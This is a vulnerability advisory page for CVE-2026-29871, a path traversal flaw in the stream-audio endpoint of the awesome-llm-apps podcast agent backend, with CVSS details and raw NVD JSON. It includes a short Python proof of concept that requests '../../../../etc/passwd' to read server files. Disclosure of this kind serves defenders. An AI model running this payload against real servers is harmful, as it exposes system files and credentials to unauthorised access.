Security Vulnerability Report
中文
CVE-2026-29871 CVSS 7.5 HIGH

CVE-2026-29871

Published: 2026-03-27 15:16:52
Last Modified: 2026-04-02 19:38:55

Description

A path traversal vulnerability exists in the awesome-llm-apps project in commit e46690f99c3f08be80a9877fab52acacf7ab8251 (2026-01-19) in the Beifong AI News and Podcast Agent backend in FastAPI backend, stream-audio endpoint, in file routers/podcast_router.py, in function stream_audio. The stream-audio endpoint accepts a user-controlled path parameter that is concatenated into a filesystem path without proper validation or restriction. An unauthenticated remote attacker can exploit this vulnerability to read arbitrary files from the server filesystem, potentially disclosing sensitive information such as configuration files and credentials.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:theunwindai:awesome_llm_apps:*:*:*:*:*:*:*:* - VULNERABLE
awesome-llm-apps commit e46690f99c3f08be80a9877fab52acacf7ab8251

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target_url = "http://target-ip:8000/stream-audio" # Malicious path parameter to traverse directories # Attempting to read /etc/passwd payload = { "path": "../../../../etc/passwd" } try: # Send GET request to the vulnerable endpoint response = requests.get(target_url, params=payload) # Check if the request was successful if response.status_code == 200: print("[+] Exploit successful! Server response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29871", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:52.067", "lastModified": "2026-04-02T19:38:55.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path traversal vulnerability exists in the awesome-llm-apps project in commit e46690f99c3f08be80a9877fab52acacf7ab8251 (2026-01-19) in the Beifong AI News and Podcast Agent backend in FastAPI backend, stream-audio endpoint, in file routers/podcast_router.py, in function stream_audio. The stream-audio endpoint accepts a user-controlled path parameter that is concatenated into a filesystem path without proper validation or restriction. An unauthenticated remote attacker can exploit this vulnerability to read arbitrary files from the server filesystem, potentially disclosing sensitive information such as configuration files and credentials."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:theunwindai:awesome_llm_apps:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-01-19", "matchCriteriaId": "636E9C46-762D-4CFD-B586-FA1A8B97C364"}]}]}], "references": [{"url": "https://github.com/lilmingwa13/security-research/blob/main/CVE-2026-29871.md", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}